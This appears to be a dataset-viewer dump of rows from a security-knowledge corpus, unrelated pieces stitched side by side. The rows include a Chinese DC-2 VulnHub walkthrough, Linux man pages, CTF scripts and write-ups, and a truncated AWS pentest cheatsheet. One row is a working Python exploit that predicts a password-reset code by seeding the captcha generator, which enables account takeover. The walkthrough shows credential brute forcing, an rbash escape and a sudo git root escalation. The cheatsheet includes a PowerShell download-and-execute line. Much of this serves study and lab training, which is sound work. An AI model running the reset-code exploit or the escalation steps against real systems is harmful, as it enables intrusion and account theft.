text
stringlengths
100
9.93M
category
stringclasses
11 values
# DC2-WalkThrough --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **靶机地址** - https://www.vulnhub.com/entry/dc-2,311/ **Description** Much like DC-1, DC-2 is another purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing. As with the original DC-1, it's designed with beginners in mind. Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools. Just like with DC-1, there are five flags including the final flag. And again, just like with DC-1, the flags are important for beginners, but not so important for those who have experience. In short, the only flag that really counts, is the final flag. For beginners, Google is your friend. Well, apart from all the privacy concerns etc etc. I haven't explored all the ways to achieve root, as I scrapped the previous version I had been working on, and started completely fresh apart from the base OS install. **Technical Information** DC-2 is a VirtualBox VM built on Debian 32 bit, so there should be no issues running it on most PCs. While I haven't tested it within a VMware environment, it should also work. It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP. Installation is simple - download it, unzip it, and then import it into VirtualBox and away you go. Please note that you will need to set the hosts file on your pentesting device to something like: `192.168.0.145 dc-2` Obviously, replace 192.168.0.145 with the actual IP address of DC-2. It will make life a whole lot simpler (and a certain CMS may not work without it). If you're not sure how to do this, instructions are here. **知识点** - 字典生成工具 cewl (flag2) - wpscan (flag2) - rbash 逃逸 (flag4) - git 提权 (flag5) **实验环境** `环境仅供参考` - VMware® Workstation 15 Pro - 15.0.0 build-10134415 - kali : NAT 模式,192.168.141.134 - 靶机 : NAT 模式 --- # flag1 老规矩,先知道对面 IP 才行,使用 nmap 扫描 语法 `nmap -sP <网段>/24` ```bash nmap -sP 192.168.141.0/24 ``` 排除法,去掉自己、宿主机、网关, `192.168.141.136` 就是目标了 顺便扫一下端口 ```bash nmap -T5 -A -v -p- 192.168.141.136 ``` 可以看到,开放了 web 和 ssh 服务 下面开始前先按照信息修改主机 hosts 文件 这里的 kali 进行攻击,修改步骤如下 ```bash echo "192.168.141.136 dc-2" >> /etc/hosts ``` 然后 web 访问,就可以看到 flag1 ``` Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl. More passwords is always better, but sometimes you just can’t win them all. Log in as one to see the next flag. If you can’t find it, log in as another. ``` 机翻 ``` 你惯用的字词列表可能无法使用,因此,也许你只需要 cewl。 密码越多越好,但有时你根本无法赢得所有密码。 以一个身份登录以查看下一个标志。 如果找不到,请以其他身份登录。 ``` --- # flag2 flag1 提示了一个工具 cewl,这是个抓取网站信息用于生成密码的工具,估计意思就是让你用这个工具跑个密码表出来 cewl kali 下自带,直接使用就是了 ```bash cewl http://dc-2 -w out.txt ``` 密码表有了,那么就应该爆破了,目标这个网站一看用的就是 wordpress,默认的登录地址一般是 `/wp-admin` 或 `/wp-login.php` 不要使用 kali 自带的 burp 直接跑,你会急得想砸电脑,kali 默认的 burp 是社区版,那个爆破速度基本没用,burp 使用教程参考 [BurpSuite笔记](../../../工具/BurpSuite.md#Intruder) 接下来使用一个工具 WPScan,同样 kali 自带 ```bash wpscan --url http://dc-2 --enumerate u wpscan --url http://dc-2 --passwords out.txt ``` 爆破结果,存在2个账户 ``` Username : jerry Password : adipiscing Username : tom Password : parturient ``` 使用账号 jerry 登录后可以发现 flag2 ``` If you can't exploit WordPress and take a shortcut, there is another way. Hope you found another entry point. ``` 机翻 ``` 如果你无法利用 WordPress 并采取捷径,那还有另一种方法。 希望你找到另一个入口点。 ``` flag 提示,如果 wordpress 打不下来,就得换一个入口 上面使用了 wpscan 进行了扫描和爆破,但是漏洞扫描没有任何结果,因为现在 wpscan 扫描漏洞需要 API Token 的支持,所以需要访问 https://wpvulndb.com/users/sign_up 注册一个账号,获得 API Token ```bash wpscan --url http://dc-2/ --api-token 这边填你的APIToken ``` 看了下,大部分需要认证,并且都是 XSS 之类的,靶机这环境根本没用,有一个 WordPress 3.7-5.0 (except 4.9.9) - Authenticated Code Execution 可以试一试,反正也有账号 根据信息,CVE 编号为 CVE-2019-8942、CVE-2019-8943,MSF 里正好有模块,不过其实是不好利用的,因为这个漏洞是通过文件上传造成的,而 jerry 和 tom 都无法上传,只有 admin 有权限修改上传点 --- # flag3 既然打不下来 wordpress ,就换一个,联想到端口扫描出的 7744 SSH 服务,这里可以作为一个入口 这里使用 [SNETCracker](https://github.com/shack2/SNETCracker) 这个工具爆破 SSH,注意这个软件是在windows下运行的,且爆破时线程尽量调量为低,账号密码字典就使用之前 cewl 生产出来的字典 爆破结果 ``` Username : tom Password : parturient ``` 直接登录 ```bash ssh tom@192.168.141.136 -p 7744 ``` 看来是个受限制的 shell 环境,rbash,使用自动补全命令 compgen -c 可以看到我们能使用 less 和 vi ,less 查看 flag3 ``` Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes. ``` 机翻 ``` 可怜的老 Tom 总是追随 Jerry。 也许他应该承受自己造成的所有压力。 ``` 这里提示了之前爆破出的2个 web 用户,会不会 linux 也有这2个用户?查看 passwd 文件 ```bash less /etc/passwd ``` 可见 jerry 用户存在,那么下面就是 rbash 逃逸-->提权 --- # flag4 使用 vi 进行逃逸 ``` vi :set shell=/bin/sh :shell ``` 更改环境变量,把 `/bin/sh` 目录加进去,不然许多命令不好用 ```bash echo $PATH export PATH=$PATH:/bin:/usr/bin ``` ok,现在是正常的 shell 环境了,在提权之前,尝试登录 jerry 用户 ```bash su jerry ``` ``` Good to see that you've made it this far - but you're not home yet. You still need to get the final flag (the only flag that really counts!!!). No hints here - you're on your own now. :-) Go on - git outta here!!!! ``` 机翻 ``` 很高兴看到你已经做到了这一点-但你还没有回家。 你仍然需要获得最终标志(唯一真正重要的标志!!!)。 这里没有提示-你现在就一个人了。 :-) 继续-git outta here !!!! ``` 这里提到了 git,那么就用它提权 --- # flag5 在 https://gtfobins.github.io/gtfobins/git/ 找到 git 提权的语法 ``` sudo git -p help config !/bin/sh ``` 提权成功,感谢靶机作者 @DCUA7,查看最终 flag ```bash cd cat final-flag.txt ``` ``` __ __ _ _ _ _ / / /\ \ \___| | | __| | ___ _ __ ___ / \ \ \/ \/ / _ \ | | / _` |/ _ \| '_ \ / _ \/ / \ /\ / __/ | | | (_| | (_) | | | | __/\_/ \/ \/ \___|_|_| \__,_|\___/|_| |_|\___\/ Congratulatons!!! A special thanks to all those who sent me tweets and provided me with feedback - it's all greatly appreciated. If you enjoyed this CTF, send me a tweet via @DCAU7. ```
sec-knowleage
version: '2' services: spring: image: vulhub/spring-security-oauth2:2.0.8 ports: - "8080:8080"
sec-knowleage
'\" t .TH "HWDB" "7" "" "systemd 231" "hwdb" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bugs.debian.org/507673 .\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" ----------------------------------------------------------------- .\" * set default formatting .\" ----------------------------------------------------------------- .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .\" ----------------------------------------------------------------- .\" * MAIN CONTENT STARTS HERE * .\" ----------------------------------------------------------------- .SH "NAME" hwdb \- 硬件数据库 .SH "描述" .PP 硬件数据库是一个由"modalias"风格的键(key)与"udev属性"风格的值(value)组成的 key\-value 文本数据库。 主要用于 udev 为匹配到的硬件设备添加关联属性, 但也可以用于直接查询。 .SH "硬件数据库文件" .PP 硬件数据库文件(hwdb)位于 操作系统发行商维护的 /usr/lib/udev/hwdb\&.d 目录中, 以及系统管理员维护的 /etc/udev/hwdb\&.d 目录中。 所有的 hwdb 文件(无论位于哪个目录中),统一按照文件名的字典顺序处理。 对于不同目录下的同名 hwdb 文件,仅以 /etc/udev/hwdb\&.d 目录中的那一个为准。 依据这个特性,系统管理员可以使用 /etc/udev/hwdb\&.d 目录中的自定义文件 替代 /usr/lib/udev/hwdb\&.d 目录中的同名文件。 如果系统管理员想要屏蔽 /usr/lib/udev/hwdb\&.d 目录中的某个 hwdb 文件, 那么最佳做法是在 /etc/udev/hwdb\&.d 目录中创建一个指向 /dev/null 的同名符号链接, 即可彻底屏蔽 /usr/lib/udev/hwdb\&.d 目录中的同名文件。 注意,硬件数据库文件必须以 \&.hwdb 作为后缀名,否则将被忽略。 .PP 硬件数据库文件(hwdb)包含由"matche"与关联的"key\-value"组成的记录。 每条记录由一个或多个用于匹配查找的"matche"字符串(可包含shell风格的通配符)开头, 多个"matche"字符串之间使用换行符分隔,但必须是依次紧紧相连的行(也就是中间不能出现空行), 每一行都必须是一个完整的"matche"字符串(也就是不能将一个"matche"字符串分为两行), 多行之间是逻辑或(OR)的关系。 每一个"matche"字符串都必须顶行书写(也就是行首不能是空白字符)。 .PP "matche"行之后是一个或多个以空格开头的"key\-value"行(必须以空格开头作为区分), "key\-value"行必须符合 "key=value" 格式。 一个空白行表示一条记录结束。 以 "#" 开头的行将被视为注释而被忽略。 .PP 所有 hwdb 文件都将被 \fBsystemd-hwdb\fR(8) 编译为二进制格式的数据库,并存放在 /etc/udev/hwdb\&.bin 文件中。 注意,操作系统发行商应该将预装的二进制格式的数据库存放在 /usr/lib/udev/hwdb\&.bin 文件中。 系统在运行时,仅会读取二进制格式的硬件数据库。 .SH "参见" .PP \fBsystemd-hwdb\fR(8) .\" manpages-zh translator: 金步国 .\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
sec-knowleage
inp0 = "People don't understand computers. Computers are magical boxes that do things. People believe what computers tell them." inp1 = "There are two types of encryption: one that will prevent your sister from reading your diary and one that will prevent your government." inp2 = "There's an entire flight simulator hidden in every copy of Microsoft Excel 97." inp0 = "People don't understand computers. Computers are magical boxes that do things. People believe what computers tell them." out0 = "a2ccb5e4a4f694bd8a87cec3679d69a87db401a4199006dbb0ccbfe6a7ecc3e4f7b2e426c53fed35f95fe3498d038bebdbadeabce9cdfecf87968776876be12088228041c951730a7a30702e197802372236c03dc443934bef55ee71e03f423f7e213715360c1e060aec10fa7ea57ad36f94069f066c50".decode("hex") inp1 = "There are two types of encryption: one that will prevent your sister from reading your diary and one that will prevent your government." out1 = "2e4d3e6d2433102f12514b45ae01ef33f32d9869da5b891177076b3b7f34172d237224ca28da588151f349b023a5335a6a0155014b69557c343e2fd3358a538f3c8330a36ffe8eec999ac69abf94a7acbbe01fe108dd4f96378529b96df397e6e6a2fadeb2919b979b38c131f93aa015b709990d9fecdebafdbbf79ead9d819163867db97bb854".decode("hex") inp2 = "There's an entire flight simulator hidden in every copy of Microsoft Excel 97." out2 = "fa99eab9f0e0d1bc8588c6da30cb38ef3aa101bc0989139ab2d2a5e1a0f3d8f9f6efb950b54680489e7dda6da923afcfadcfc99bc8ffd4a9aebbe521dc20f82291358510dc6e147a074846463554".decode("hex") out3 = "b4d0b1b0e5bd8ae7cdcbc4d139cf75b173ad4bfb0787008ff2cdf3bffda783f6fff2a44ba81fd61edf3c853daa65ea9ce99690d586e1dee2e1f7a949a916d50dbd19bc2eab3e50380e0d7a2c1d205a59455fbe0ffa2ea63b9074ce43d11e715d495401235f693e31289b2c8d198158f81ba471b32917644e".decode('hex') inp = [inp0, inp1, inp2] out = [out0, out1, out2, out3] print ''.join(chr((ord(out1[i]) ^ ord(out1[i+1])) ^ (ord(out3[i]) ^ ord(out3[i+1])) ^ ord(inp1[i+1])) for i in range(len(out0))) #for c in range(256): # if (ord(out1[0]) ^ ord(out1[1])) ^ (ord(out3[0]) ^ ord(out3[1])) == ord(inp1[1]) ^ c: # print chr(c) #for o in out: # print len(o) # #for o in out: # for i in range(20): # print ord(o[i]) ^ ord(o[i+1]), # print # #print out0[29], out1[29] # #print ord(out0[29]) ^ ord(out1[29]) #for oi in range(3): # o = out[oi] # for i in range(1): # print ord(o[i]) ^ ord(o[i+1]) - ord(inp[oi][i]), # print #for i in range(len(out)): # o = out[i] # print ''.join('1' if ord(oc)&0x40 != 0 else '0' for oc in o) # #from collections import defaultdict #hack = defaultdict(list) # #for i in range(len(inp1) - 1): # x = ord(inp1[i]) ^ ord(inp1[i+1]) # #print #for i in range(20): # print ord(out1[i]) ^ ord(out2[i]),
sec-knowleage
batch === 在系统不繁忙的时候执行定时任务 ## 补充说明 **batch命令** 用于在指定时间,当系统不繁忙时执行任务,用法与at相似。 ### 语法 ```shell batch(选项)(参数) ``` ### 选项 ```shell -f:指定包含具体指令的任务文件; -q:指定新任务的队列名称; -m:任务执行完后向用户发送E-mail。 ``` ### 参数 日期时间:指定任务执行的日期时间。 ### 实例 ```shell batch at> echo 1234 at> <EOT> job 5 at Sun Apr 28 08:49:00 2013 ```
sec-knowleage
sha256sum === 用于计算文件的 SHA-256 哈希值 ## 补充说明 **sha256sum命令** 是打印或检查 SHA256(256位)校验 ### 语法 ```shell sha256sum [OPTION]... [FILE]... ``` ### 选项 ```shell -b, --binary # 以二进制模式读取 -c, --check # 从文件中读取 SHA256 校验和并进行检查 --tag # 创建 BSD 风格的校验和 -t, --text # 以文本模式读取(默认) -z, --zero # 每行输出以 NUL 结尾,而不是换行符,并禁用文件名转义 --help # 显示此帮助并退出 --version # 输出版本信息并退出 ``` ### 实例 以下是一些使用 sha256sum 命令的示例: 1. 计算文件的 SHA-256 哈希值 ``` sha256sum file.txt ``` 这将会输出文件 file.txt 的 SHA-256 哈希值和文件名。 2. 计算多个文件的 SHA-256 哈希值 ``` sha256sum file1.txt file2.txt ``` 这将会输出文件 file1.txt 和 file2.txt 的 SHA-256 哈希值和文件名。 3. 将 SHA-256 哈希值保存到文件中 ``` sha256sum file.txt > hash.txt ``` 这将会将文件 file.txt 的 SHA-256 哈希值保存到文件 hash.txt 中。 4. 验证文件的 SHA-256 哈希值 ``` sha256sum -c hash.txt ``` 这将会验证文件的 SHA-256 哈希值是否与 hash.txt 中的值匹配。如果匹配,输出 OK,否则输出 FAILED。
sec-knowleage
import requests import logging import sys import random import string import argparse from urllib.parse import urljoin logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~' def random_string(length: int, lower=True, upper=True, digit=True, special_char=False): args_names = ['lower', 'upper', 'digit', 'special_char'] args_values = [lower, upper, digit, special_char] args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation] args_string_map = dict(zip(args_names, args_string)) kwargs = dict(zip(args_names, args_values)) kwargs_keys = list(kwargs.keys()) kwargs_values = list(kwargs.values()) args_true_count = len([i for i in kwargs_values if i]) assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`' assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}' can_startswith_special_char = args_true_count == 1 and special_char chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v]) while True: password = list(random.choice(chars) for i in range(length)) for k, v in kwargs.items(): if v and not (set(password) & set(args_string_map[k])): # 没有包含指定的字符, retry break else: if not can_startswith_special_char and password[0] in args_string_map['special_char']: # 首位不能为特殊字符, retry continue else: # 满足要求终止 while 循环 break password = ''.join(password) return password def nop_random(seed: str): random.seed(seed) for i in range(4): random.randrange(-35, 35) for p in range(int(180 * 38 * 0.1)): random.randint(0, 180) random.randint(0, 38) def fix_seed(target: str, seed: str): def _request(i: int, u: str): logging.info('send %d request to %s', i, u) response = requests.get(u, timeout=5) assert response.status_code == 200 assert response.headers['Content-Type'] == 'image/png' url = urljoin(target, '/core/auth/captcha/image/' + seed + '/') for idx in range(30): _request(idx, url) def send_code(target: str, email: str, reset_token: str): url = urljoin(target, "/api/v1/authentication/password/reset-code/?token=" + reset_token) response = requests.post(url, json={ 'email': email, 'sms': '', 'form_type': 'email', }, allow_redirects=False) assert response.status_code == 200 logging.info("send code headers: %r response: %r", response.headers, response.text) def main(target: str, email: str, seed: str, token: str): fix_seed(target, seed) nop_random(seed) send_code(target, email, token) code = random_string(6, lower=False, upper=False) logging.info("your code is %s", code) if __name__ == "__main__": parser = argparse.ArgumentParser(description='Process some integers.') parser.add_argument('-t', '--target', type=str, required=True, help='target url') parser.add_argument('--email', type=str, required=True, help='account email') parser.add_argument('--seed', type=str, required=True, help='seed from captcha url') parser.add_argument('--token', type=str, required=True, help='account reset token') args = parser.parse_args() main(args.target, args.email, args.seed, args.token)
sec-knowleage
import re data = open('MrFusion.gpjb', 'rb').read() def findndx(str, data): return [m.start() for m in re.finditer(str, data)] ext = { '.gif': 'GIF89a', '.png': '\x89PNG', '.bmp': 'BM', '.jpg': '\xFF\xD8\xFF\xE0' } for ext, pat in ext.iteritems(): for n in findndx(pat, data): open('out.' + str(n) + ext, 'wb').write(data[n:])
sec-knowleage
# SpamAndFlags Teaser 2020 ### Table of contents * [Hashing@Home (pwn)](hashing_at_home) * [Nativity Scene (pwn)](nativity_scene) * [The 3D Printer Task (misc)](3d_printer) * [Environmental Issues (pwn or misc, depends on who you ask)](environmental_issues) (also covers Regulated Environmental Issues) * [Journey: Chapter I (web)](journey1) * [Journey: Chapter II (web/re)](journey2)
sec-knowleage
# BFS (ppc 400) ###ENG [PL](#pl-version) In the task we get a database [file](maze.db) with maze definition. We dumped the data to [txt](data.txt) to simplify usage. Each node stores a single byte of data. We guess that the point is to find the path through the maze. We used simple BFS search for that: ```python import codecs import collections def print_matrix(matrix): for i in range(50): print(" ".join(matrix[i])) def add_unvisited_node(to_process, visited, x, y, backtrace, prev): if (x, y) not in visited: visited.add((x, y)) backtrace[(x, y)] = prev to_process.append((x, y)) def main(): visited = {(0, 0)} to_process = [(0, 0)] graph = collections.defaultdict(dict) backtrace = {} with codecs.open("data.txt") as input_file: for line in input_file: # eg. 1|0|0|gate|1 data = line[:-2].split("|") node_id = int(data[0]) x = int(data[1]) y = int(data[2]) wall_type = data[3] payload = data[4] graph[x][y] = (node_id, wall_type, payload) while len(to_process) > 0: xy = to_process.pop(0) x = xy[0] y = xy[1] if x in graph and y in graph[x]: node = graph[x][y] if node[0] == 2500: break if node[1] == "gate": add_unvisited_node(to_process, visited, x - 1, y, backtrace, xy) add_unvisited_node(to_process, visited, x, y - 1, backtrace, xy) add_unvisited_node(to_process, visited, x, y + 1, backtrace, xy) add_unvisited_node(to_process, visited, x + 1, y, backtrace, xy) print(backtrace) current = (49, 49) data = [] matrix = [[' ' for i in range(50)] for j in range(50)] i = 0 while current != (0, 0): x = current[0] y = current[1] matrix[x][y] = "%3d" % i i += 1 data.append(graph[x][y][2]) current = backtrace[(x, y)] data.reverse() print_matrix(matrix) result = "".join(data) print(result) main() ``` Which prints out the maze solution and the bytes picked up on the way: ``` 54C82F36487A9157315AADFDDED1BB83ECD98E49EADAFEB03DB563A94E0851478C408CFD6B0BB42B030F61A82E655B7FCA0E1FA68DF676758DC60FBFD1016F0EB8E7A2B5170A157497EF711E4009653BC9B20726C98B6561EFBE316AC2AB2DCBE56494F05B44ED3EB62DA4109BEEC2537266FEDE44ACB12A17CA8C8A5BA9E1A4D24ACAD900FFBD228AC187B9024BEDC941D137EA3A92F9F8506740CD8C62DBEDB9990F3E0259434D9FCF070FEC9E60C5697BABA83A4E59EB4C3F0E7AFD44B1B8D9D93933962B27237560B5F8F7D19904D790842FA596FBB52B2A3F7EE15B7F589D28A6F20F747615E7ED135E17AFE8FE073B6606F5C893D40CB78B635AA5FE4E0EE10C572D5E7AECEAF743953D05F78BBC10A9BB3D53B0011AE5F269C806E5F9E6026C954A0CDF9C797953360602B96FC06324C3160701505C24597F6F7C77D5B76CBE25CD2B706A41DA324A1B79CFC4BA8B11F800593514D27754 ``` As far as I remember this was the flag. ###PL version W zadaniu dostajemy [plik](maze.db) z definicją labiryntu. Zrzuciliśmy dane do [txt](data.txt) żeby ułatwić sobie pracę. Każdy węzeł uzyskanego grafu przechowuje jeden bajt danych. Domyślaliśmy się, ze zadaniem jest znaleźć drogę w labiryncie. Użyliśmy do tego BFSa: ```python import codecs import collections def print_matrix(matrix): for i in range(50): print(" ".join(matrix[i])) def add_unvisited_node(to_process, visited, x, y, backtrace, prev): if (x, y) not in visited: visited.add((x, y)) backtrace[(x, y)] = prev to_process.append((x, y)) def main(): visited = {(0, 0)} to_process = [(0, 0)] graph = collections.defaultdict(dict) backtrace = {} with codecs.open("data.txt") as input_file: for line in input_file: # eg. 1|0|0|gate|1 data = line[:-2].split("|") node_id = int(data[0]) x = int(data[1]) y = int(data[2]) wall_type = data[3] payload = data[4] graph[x][y] = (node_id, wall_type, payload) while len(to_process) > 0: xy = to_process.pop(0) x = xy[0] y = xy[1] if x in graph and y in graph[x]: node = graph[x][y] if node[0] == 2500: break if node[1] == "gate": add_unvisited_node(to_process, visited, x - 1, y, backtrace, xy) add_unvisited_node(to_process, visited, x, y - 1, backtrace, xy) add_unvisited_node(to_process, visited, x, y + 1, backtrace, xy) add_unvisited_node(to_process, visited, x + 1, y, backtrace, xy) print(backtrace) current = (49, 49) data = [] matrix = [[' ' for i in range(50)] for j in range(50)] i = 0 while current != (0, 0): x = current[0] y = current[1] matrix[x][y] = "%3d" % i i += 1 data.append(graph[x][y][2]) current = backtrace[(x, y)] data.reverse() print_matrix(matrix) result = "".join(data) print(result) main() ``` Co wypisuje na koniec rozwiązanie labiryntu oraz dane zebrane po drodze: ``` 54C82F36487A9157315AADFDDED1BB83ECD98E49EADAFEB03DB563A94E0851478C408CFD6B0BB42B030F61A82E655B7FCA0E1FA68DF676758DC60FBFD1016F0EB8E7A2B5170A157497EF711E4009653BC9B20726C98B6561EFBE316AC2AB2DCBE56494F05B44ED3EB62DA4109BEEC2537266FEDE44ACB12A17CA8C8A5BA9E1A4D24ACAD900FFBD228AC187B9024BEDC941D137EA3A92F9F8506740CD8C62DBEDB9990F3E0259434D9FCF070FEC9E60C5697BABA83A4E59EB4C3F0E7AFD44B1B8D9D93933962B27237560B5F8F7D19904D790842FA596FBB52B2A3F7EE15B7F589D28A6F20F747615E7ED135E17AFE8FE073B6606F5C893D40CB78B635AA5FE4E0EE10C572D5E7AECEAF743953D05F78BBC10A9BB3D53B0011AE5F269C806E5F9E6026C954A0CDF9C797953360602B96FC06324C3160701505C24597F6F7C77D5B76CBE25CD2B706A41DA324A1B79CFC4BA8B11F800593514D27754 ``` O ile dobrze pamiętam to była flaga.
sec-knowleage
nmcli === 地址配置工具 ## 补充说明 **nmcli命令** 是 NetworkManager client 网络管理客户端。 ### 语法 ```shell nmcli [OPTIONS] OBJECT { COMMAND | help } ``` ### 选项 ```shell OPTIONS -t[erse] # terse output 简洁的输出 -p[retty] # pretty output 漂亮的输出 -m[ode] tabular|multiline # output mode 输出模式 -f[ields] <field1,field2,...>|all|common # specify fields to output 指定要输出的字段 -e[scape] yes|no # escape columns separators in values 在值中转义列分隔符 -n[ocheck] # 不要检查nmcli和NetworkManager版本 -a[sk] # 要求缺少参数 -w[ait] <seconds> # 设置超时等待整理操作 -v[ersion] # 显示程序版本 -h[elp] # 打印此帮助 OBJECT g[eneral] NetworkManager的一般状态和操作 n[etworking] 整体组网控制 r[adio] NetworkManager切换开关 c[onnection] NetworkManager的连接 d[evice] 由NetworkManager管理的设备 a[gent] NetworkManager秘密代理或polkit代理 ``` ### 实例 ```shell nmcli connection show # 查看当前连接状态 nmcli connection reload # 重启服务 nmcli connection show -active # 显示活动的连接 nmcli connection show "lan eth0" # 显示指定一个网络连接配置 nmcli device status # 显示设备状态 nmcli device show eno16777736 # 显示指定接口属性 nmcli device show # 显示全部接口属性 nmcli con up static # 启用static连接配置 nmcli con up default # 启用default连接配置 nmcli con add help # 查看帮助 ``` ### 创建网络会话 ```shell nmcli connection add con-name company ifname ens33 autoconnect no type ethernet ip4 192.168.1.2/24 gw4 192.168.1.1 # con-name 指定会话名称, # ifname 指定本机网卡 # autoconnect no 是否自动连接 # ethernet 指定网卡类型 # ip4/ip6 # gw4/gw5 ```
sec-knowleage
# Cloud - AWS > Amazon Web Services offers reliable, scalable, and inexpensive cloud computing services. ## Summary - [AWS](#aws) - [Summary](#summary) - [Training](#training) - [Tools](#tools) - [AWS Patterns](#aws-patterns) - [AWS - Metadata SSRF](#aws---metadata-ssrf) - [Method for Elastic Cloud Compute (EC2)](#method-for-elastic-cloud-compute-ec2) - [Method for Container Service (Fargate)](#method-for-container-service-fargate) - [AWS API calls that return credentials](#aws-api-calls-that-return-credentials) - [AWS - Shadow Admin](#aws---shadow-admin) - [Admin equivalent permission](#admin-equivalent-permission) - [AWS - Gaining AWS Console Access via API Keys](#aws---gaining-aws-console-access-via-api-keys) - [AWS - Enumerate IAM permissions](#aws---enumerate-iam-permissions) - [AWS - Mount EBS volume to EC2 Linux](#aws---mount-ebs-volume-to-ec2-linux) - [AWS - Copy EC2 using AMI Image](#aws---copy-ec2-using-ami-image) - [AWS - Instance Connect - Push an SSH key to EC2 instance](#aws---instance-connect---push-an-ssh-key-to-ec2-instance) - [AWS - Lambda - Extract function's code](#aws---lambda---extract-functions-code) - [AWS - SSM - Command execution](#aws---ssm---command-execution) - [AWS - Golden SAML Attack](#aws---golden-saml-attack) - [AWS - Shadow Copy attack](#aws---shadow-copy-attack) - [Disable CloudTrail](#disable-cloudtrail) - [Cover tracks by obfuscating Cloudtrail logs and Guard Duty](#cover-tracks-by-obfuscating-cloudtrail-logs-and-guard-duty) - [DynamoDB](#dynamodb) - [Security checks](#security-checks) - [AWSome Pentesting Cheatsheet](#awsome-pentesting-cheatsheet) - [References](#references) ## Training * AWSGoat : A Damn Vulnerable AWS Infrastructure - https://github.com/ine-labs/AWSGoat * Damn Vulnerable Cloud Application - https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 * SadCloud - https://github.com/nccgroup/sadcloud * Flaws - http://flaws.cloud * Cloudgoat - https://github.com/RhinoSecurityLabs/cloudgoat ## Tools * [SkyArk](https://github.com/cyberark/SkyArk) - Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins * Requires read-Only permissions over IAM service ```powershell $ git clone https://github.com/cyberark/SkyArk $ powershell -ExecutionPolicy Bypass -NoProfile PS C> Import-Module .\SkyArk.ps1 -force PS C> Start-AWStealth or in the Cloud Console PS C> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AWStealth/AWStealth.ps1') PS C> Scan-AWShadowAdmins ``` * [Pacu](https://github.com/RhinoSecurityLabs/pacu) - Exploit configuration flaws within an AWS environment using an extensible collection of modules with a diverse feature-set * Requires AWS Keys ```powershell $ git clone https://github.com/RhinoSecurityLabs/pacu $ bash install.sh $ python3 pacu.py set_keys/swap_keys ls run <module_name> [--keyword-arguments] run <module_name> --regions eu-west-1,us-west-1 # https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details ``` * [Bucket Finder](https://digi.ninja/projects/bucket_finder.php) - Search for public buckets, list and download all files if directory indexing is enabled ```powershell wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2 ./bucket_finder.rb my_words ./bucket_finder.rb --region ie my_words US Standard = http://s3.amazonaws.com Ireland = http://s3-eu-west-1.amazonaws.com Northern California = http://s3-us-west-1.amazonaws.com Singapore = http://s3-ap-southeast-1.amazonaws.com Tokyo = http://s3-ap-northeast-1.amazonaws.com ./bucket_finder.rb --download --region ie my_words ./bucket_finder.rb --log-file bucket.out my_words ``` * [Boto3](https://boto3.amazonaws.com/v1/documentation/api/latest/index.html) - Amazon Web Services (AWS) SDK for Python ```python import boto3 # Create an S3 client s3 = boto3.client('s3',aws_access_key_id='AKIAJQDP3RKREDACTED',aws_secret_access_key='igH8yFmmpMbnkcUaCqXJIRIozKVaREDACTED',region_name='us-west-1') try: result = s3.list_buckets() print(result) except Exception as e: print(e) ``` * [Prowler](https://github.com/toniblyx/prowler) - AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness > It follows guidelines of the CIS Amazon Web Services Foundations Benchmark and DOZENS of additional checks including GDPR and HIPAA (+100). * Require: arn:aws:iam::aws:policy/SecurityAudit ```powershell $ pip install awscli ansi2html detect-secrets $ git clone https://github.com/toniblyx/prowler $ sudo apt install jq $ ./prowler -E check42,check43 $ ./prowler -p custom-profile -r us-east-1 -c check11 $ ./prowler -A 123456789012 -R ProwlerRole # sts assume-role ``` * [Principal Mapper](https://github.com/nccgroup/PMapper) - A tool for quickly evaluating IAM permissions in AWS ```powershell https://github.com/nccgroup/PMapper pip install principalmapper pmapper graph --create pmapper visualize --filetype png pmapper analysis --output-type text # Determine if PowerUser can escalate privileges pmapper query "preset privesc user/PowerUser" pmapper argquery --principal user/PowerUser --preset privesc # Find all principals that can escalate privileges pmapper query "preset privesc *" pmapper argquery --principal '*' --preset privesc # Find all principals that PowerUser can access pmapper query "preset connected user/PowerUser *" pmapper argquery --principal user/PowerUser --resource '*' --preset connected # Find all principals that can access PowerUser pmapper query "preset connected * user/PowerUser" pmapper argquery --principal '*' --resource user/PowerUser --preset connected ``` * [ScoutSuite](https://github.com/nccgroup/ScoutSuite/wiki) - Multi-Cloud Security Auditing Tool ```powershell $ git clone https://github.com/nccgroup/ScoutSuite $ python scout.py PROVIDER --help # The --session-token is optional and only used for temporary credentials (i.e. role assumption). $ python scout.py aws --access-keys --access-key-id <AKIAIOSFODNN7EXAMPLE> --secret-access-key <wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY> --session-token <token> $ python scout.py azure --cli ``` * [s3_objects_check](https://github.com/nccgroup/s3_objects_check) - Whitebox evaluation of effective S3 object permissions, to identify publicly accessible files ```powershell $ git clone https://github.com/nccgroup/s3_objects_check $ python3 -m venv env && source env/bin/activate $ pip install -r 